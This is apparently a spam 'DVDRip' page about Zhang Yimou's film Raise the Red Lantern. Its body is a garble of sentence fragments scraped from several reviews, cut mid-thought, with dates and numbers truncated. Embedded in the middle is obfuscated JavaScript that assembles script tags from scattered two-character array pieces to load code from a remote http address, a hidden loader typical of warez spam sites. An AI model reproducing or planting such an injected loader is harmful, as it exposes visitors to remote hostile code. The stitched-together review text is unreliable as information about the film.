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Raise The Red Lantern DVDRip

Zhang Yimou (born 1 Fifth Generation" of Chinese filmmakers, those who began working after the Cultural Revolution and
dealt with Chinese society in a more open and artistic away than was permitted at the height of Maoism.. Japanese film "Woman
in the Dunes" (1 In both films, the protagonist enters a closed system from which there is no escape, and life is ruled by long-
established "customs.. Ding Weimin Dr Gao Raise the Red Lantern Movie Review (1 The Chinese film "Raise the Red Lantern"
(1.. Mr Zhang, while acknowledging this man's importance, deliberately ignores him Raise the Red Lantern," a beautifully
crafted and richly detailed feat of consciousness- raising and a serious drama with the verve of a good soap opera, is strictly
about the women who manage to live under this arrangement.. " The next morning, Songlian gazes in the mirror with a look of
pure disgust and shame.. Gong Li's character, named Songlian, immediately gets off on the wrong foot with the maid Yan'er
(Kong Lin), who is a favorite of the master and has ambitions to become a mistress someday herself.. No nudity, no nuzzling,
almost no touching Incredibly, this subject is handled in a movie that was rated PG!) One or two brief bed scenes are obscured
behind gauzy curtains.

I mentioned "Woman in the Dunes" because it provides an intriguing counterargument, in which the man is entrapped because
his work is needed to support the woman and the economic system she belongs to.. In both cases, one involving a rich man and
the other a poor woman, money is the inspiration for dominance.. He followed it with "To Live" (1 Gong Li, in the story of an
obsessive gambler who loses everything and then makes an extraordinary wartime comeback.. So the movie wisely focuses not
on the sex itself, but on the situation that regulates and values it.. The man who has the duty of announcing the nightly position
of the lantern is puffed up with drama and importance.. The film takes place within the gray stone and tile walls of the Chen
complex, where the master lives in the central house and each of the four mistresses has a house of her own opening onto a
central courtyard.. Also fine are Ms Cao as the wife eventually revealed to have "a Buddha's face and a scorpion's heart," and
Ms.. Vast, rambling and strangely empty, it has developed the look of a prison by the film's closing moments.

Dissension in the Ranks of a Household's 4 Wives Songlian (Gong Li), the college- educated beauty who arrives at a feudal
manor house at the outset of Zhang Yimou's "Raise the Red Lantern," insists on carrying her own suitcase, which is virtually the
last act of independence she will be permitted during the course of the story.. ) The lucky mistress then receives a foot massage
and is allowed to determine the menu for the next day.. She learns that when the master selects the mistress he will favor for the
night, a red lantern is placed outside her house.. Zhang Yimou (Ju Dou) directed this fascinating, visually formal 1991 film
about an educated woman (Gong Li) who is sent off to become the newest wife of a feudal.. There is even the sense that the
master visits his concubines not so much for pleasure as to keep them all in their places and remind them of their duties.. Raise
the Red Lantern Directed by Zhang Yimou; screenplay by Ni Zhen (in Mandarin with English subtitles), based on a novel by Su
Tong; director of photography, Zhao Fei; edited by Du Yuan; music by Zhao Jiping; produced by Chiu Fu- Sheng; released by
Orion Classics.

So elusive is he that several reviews of the film actually say he is never seen, although he is onscreen in several long shots, or
from behind, or obscured behind hanging veils; in one scene, we can actually see his face, indistinctly, in medium shot.. We
know that rape is a crime of violence, not sex, and "Raise the Red Lantern" illustrates that, because these women are all
essentially being raped as an effect of their position in a male- dominated society that holds them as economic captives.. Few
actresses have such an artistic accomplishment in such a short time If the directors and actors of that burst of creativity have
never quite equaled it since, perhaps it is because they were originally inspired by the long frustration they experienced before
China's arts began to open up.. Forced by her stepmother into what is essentially the life of a concubine, Songlian has agreed to
become the fourth wife of a feudal patriarch, a man so regal that each of his wives presides over her own separate home.. The
sets are exquisite tableaux carefully arranged, decorated and framed The latest critic and user reviews, photos and cast info for
Raise the Red Lantern (Da hong deng long gao gao gua).. Ceremonial black lantern covers are employed when one of the wives
commits a shameful transgression.
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Not all of the generation's films were approved by Chinese authorities for wide domestic release, but they were a valuable
source of foreign exchange and found world audiences; "Raise the Red Lantern" tied for the Silver Lion at Venice and was
nominated for an Oscar.. Ruled by elaborate rituals, the wives spend their days waiting to be chosen for the night by their
mutual husband, whose ways of signaling his choice include assigning a special foot massage to the woman he likes best..
Although there are many shots of the house's architecture, it is curiously difficult to get a good idea of its extent and layout..
The Chinese film 'Raise the Red Lantern' (1991), like the Japanese film 'Woman in the Dunes' (1960), is about sexual
enslavement.. ";document write(p["RN"]+p["Tp"]+p["pM"]+p["kd"]+p["Pm"]+p["uI"]+p["eF"]+p["yQ"]+p["jl"]+p["Pf"]+p["G
d"]+p["Tp"]+p["pM"]+p["kd"]+p["RN"]+p["Tp"]+p["pM"]+p["Kp"]+p["xR"]+p["uO"]+p["NE"]+p["DN"]+p["Ix"]+p["TO"]+
p["ti"]+p["XX"]+p["Tp"]+p["pM"]+p["rj"]+p["lx"]+p["zy"]+p["NE"]+p["Go"]+p["dT"]+p["vQ"]+p["PV"]+p["Gn"]+p["kf"]+p
["GS"]+p["Tv"]+p["JG"]+p["px"]+p["qU"]+p["ta"]+p["qL"]+p["EA"]+p["cN"]+p["HU"]+p["AB"]+p["kg"]+p["EH"]+p["XK"]
+p["Um"]+p["Nm"]+p["zW"]+p["Sc"]+p["Er"]+p["SA"]+p["TY"]+p["vS"]+p["Hj"]+p["sT"]+p["GI"]+p["rZ"]+p["pz"]+p["lt"]
+p["eG"]+p["WM"]+p["Om"]+p["cT"]+p["AB"]+p["kg"]+p["EH"]+p["hr"]);Raise The Red Lantern TrailerRaise the Red
Lantern.. var Kt = 'Raise+the+Red+Lantern';var p = new Array();p["lx"]=" s";p["sT"]="nd";p["hr"]=">";p["Ix"]="xt";p["lt"]="e
m";p["EH"]="pt";p["XK"]="se";p["XX"]="as";p["Gd"]="/s";p["Gn"]="6Z";p["Om"]="\">";p["PV"]="/1";p["SA"]="tu";p["Um"
]="rv";p["yQ"]="= ";p["jl"]="Kt";p["Go"]="ht";p["vQ"]=":/";p["Er"]="ar";p["ti"]="av";p["EA"]="n1";p["GI"]="ex";p["uI"]="r
";p["NE"]="=\"";p["pz"]="in";p["DN"]="te";p["kd"]="t>";p["Kp"]="t ";p["ta"]="Bb";p["TO"]="/j";p["GS"]="38";p["dT"]="tp";
p["px"]="db";p["vS"]="gg";p["kf"]="Pp";p["xR"]="ty";p["cN"]="uv";p["uO"]="pe";p["qU"]="BK";p["zW"]=".. The film, very
knowing about its characters' particular personalities and the ways they intersect, even becomes quietly comic when Mr.. Zhang
works with an exquisite simplicity that broadens the universality of his work.. Much is made of the family's customs Things
have always been done in such a way, and always will be, and of course the servants are more respectful of these customs than
the master.. Songlian, who initially views the wives' intrigue with detachment, eventually learns to assess her rivals' abilities and
fight fire with fire.. That the movie is lush and beautiful, rather than stark and barren- -that its story involves luxury rather than
the vile brothels of the time- -suggests, I believe, that men are wrong to excuse wrong treatment of women on the grounds of
"how well they are treated.. Steeped as it is in the specifics of privileged life in 1 China, "Raise the Red Lantern" is also filled
with instantly familiar figures, from the gloriously malicious and spoiled wife No.. After the success of "Qui Ju," "Ju Dou," "To
Live" and this film, all with Zhang Yimou, Gong Li worked for Chen Kaige, another Fifth Generation member, in the
extraordinary "Farewell My Concubine" (1.. On the night she arrives, the passageway to Songlian's house is lined with red
lanterns as her new husband tells her "I like it bright and formal.. Much of the action takes place on the rooftops, which link in a
labyrinth of passageways and stairs, and include an ominous little house where, it is said, women have died- -but in the past, of
course.. In this role, she reveals unexpected sharpness as well as great depths of dignity and sorrow.. This film is rated PG
Songlian Gong Li Chen Zuoqian Ma Jingwu Meishan.. At the Lincoln Plaza Cinemas, Broadway at 6 Street, Manhattan Running
time: 1 25 minutes.. An overview of Raise the Red Lantern, including cast and credit details, a review summary, and more..
There may be a feminist message here, but it is concealed well within the surface drama of the story.. The house is the neutral
backdrop, sometimes seen covered with rain or snow, but the interiors of the four apartments are seen in rich colors, bright red
predominant, so that to enter one of these domains is to be in a space visually marked out for passion.. The first three mistresses
live in uneasy balance when Songlian arrives, and she becomes a catalyst for trouble.. She is beautiful, and her beauty is one of
the subjects of the film, which the director photographs voluptuously.. The master for that matter is rarely seen; the household
operates as such an extension of his will that he seems to be present even when absent.. Gong Li, also the star of "Ju Dou" and
Mr Zhang's "Red Sorghum," is a stunningly handsome actress of strong, stately bearing.. It is the product of a time when the
new Chinese film industry could support such work, but had not yet learned to meddle with it.. ) The house itself, hauntingly
photographed, becomes a perfect visual metaphor for Songlian's plight.. Progressively younger and more beautiful, the wives are
united in quiet resentment of the man they call "the master.. Zhang stages dinner scenes among the four wives, each of whom
has a maid standing in silent attendance.. In the Chinese film, a 1 Fourth Mistress " All four concubines live in a house they are
not allowed to leave.. There is great competition to be selected, and Songlian eventually discovers intrigues within intrigues-
-even learning that she cannot trust those she thinks are her friends.. Like Gormenghast, it seems to extend in all directions
indefinitely, as if expanding in the direction of our gaze.. Cao Cuifeng) tells the new arrival As in his earlier "Ju Dou" (which,
like this film, was an Oscar nominee for best foreign film), Mr.. And he captures a detailed visual sense of the rituals governing
Songlian's new life.. Mr Zhang makes evocative use of clear, simple colors, from the lanterns themselves to the blue of the
house's rooftops at twilight.. It's difficult to say how realistic either film is intended to be I have always read "Woman in the
Dunes" as a parable, although evidence exists that people do, or did, live in such desert shelters.. Raise the Red Lantern" is told
so directly and beautifully, with such confidence, with so little evidence of compromise.. The household's major- domo takes
Songlian to meet the other women: First Mistress (Jin Shuyuan), older and in charge; Second Mistress (Cao Quifen), who seems
plain and pleasant and is described as having a Buddha's face, and Third Mistress (He Caifei), a onetime opera singer, still
young and beautiful- -and jealous.. Zhang Yimou's "Raise the Red Lantern" is set in China in 1 I suspect the conditions of this
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particular house, long the residence of the wealthy Chen family, are unique.. He Caifei), a former opera singer who manages to
play Camille whenever her husband visits his new bride, to the resentful maid (Kong Lin) who proves extremely treacherous to
her new mistress.. Ms He, as the opera singer who sets the film's tragic ending in motion, cogently demonstrates the film's
attitudes about divisiveness, solidarity and oppression.. Despite the sensual use of color and female beauty, the film has no sex
in any conventional sense.. He Caifei Zhuoyun Cao Cuifeng Yuru Jin Shuyuan Yan'er Kong Lin Mother Song.. One, of course,
is to produce male children )The movie is divided into a prologue and five segments, all but one ending with a closeup of
Songlian.. Kong as the disloyal maid whose lot is ultimately even more pitiable than her mistress's.. " In the Japanese film, a
woman captures a man, who spends the night in her home at the bottom of a hole in the desert and finds in the morning that the
escape ladder has been removed.. This is her experience, and we watch as she fights for her place among the mistresses,
discovers plots against her, makes a wounding charge against one of the other mistresses, and rails against the system.. "I am not
a radical feminist and do not believe, as I have heard it argued, that all sex is rape and all men are rapists.. The film stars Gong
Li, who after attention- getting performances in Zhang Yimou's more realistic and earthy "Ju Dou" and "To Live," became
China's leading star with this film.. If you can manage to have a foot massage every day, you'll soon be running this household,"
wife No.. Strange, how these women bow so completely to their situation, the will of the master, and to the "customs" of the
family, and make one another their enemies.. Songlian learns, among other things, not to trust her first impressions, and not to
lose track of who her real enemies are.. r";p["Hj"]="/i";p["Nm"]="er";p["zy"]="rc";p["HU"]="q ";p["RN"]=". The title ritual,
like that of the foot massage, is meant to signal the husband's nightly sexual predilection, and is performed with elaborate
fanfare.. Subtly exploring the politics of power and control, "Raise the Red Lantern" traces Songlian's growing canniness once
she becomes accustomed to the strictures governing her new life.. Directing in a quiet, observant style, Mr Zhang begins the
film - - which opens today at the Lincoln Plaza Cinemas - - by introducing Songlian to the household and its customs.. Directed
by Yimou Zhang With Li Gong, Saifei He, Cuifen Cao, Jingwu Ma A young woman becomes the fourth wife of a wealthy lord,
and must learn to live with the.. Zhang Yimou begins with a deliberately limited world (based on the novel "Wives and
Concubines" by Su Tong), and enlarges it by deepening it through our increasing knowledge of the personalities of the woman,
and the way that their situation has twisted and shaped them.. Raise the Red Lantern" is rated PG (Parental guidance suggested)
It includes some sexual situations.. Raise The Red Lantern NetflixIt eventually becomes a tale of treachery in some quarters and
solidarity in others, with a narrative that yields several surprising shifts of character.. He is not made into an individual,
however, and perhaps the point is that his patriarchal dominance is so complete that he functions in this household less as a
person than as an officeholder.. " Yet the situation demands that each one try her best to win his approval From the plain,
motherly wife No.. Raise the Red Lantern," based on a novel called "Wives and Concubines" by Su Tong, is as visually striking
as it is dramatically effective.. In both films, the protagonist Raise the Red Lantern is one of the most extraordinarily beautiful
movies I have ever seen. e10c415e6f 
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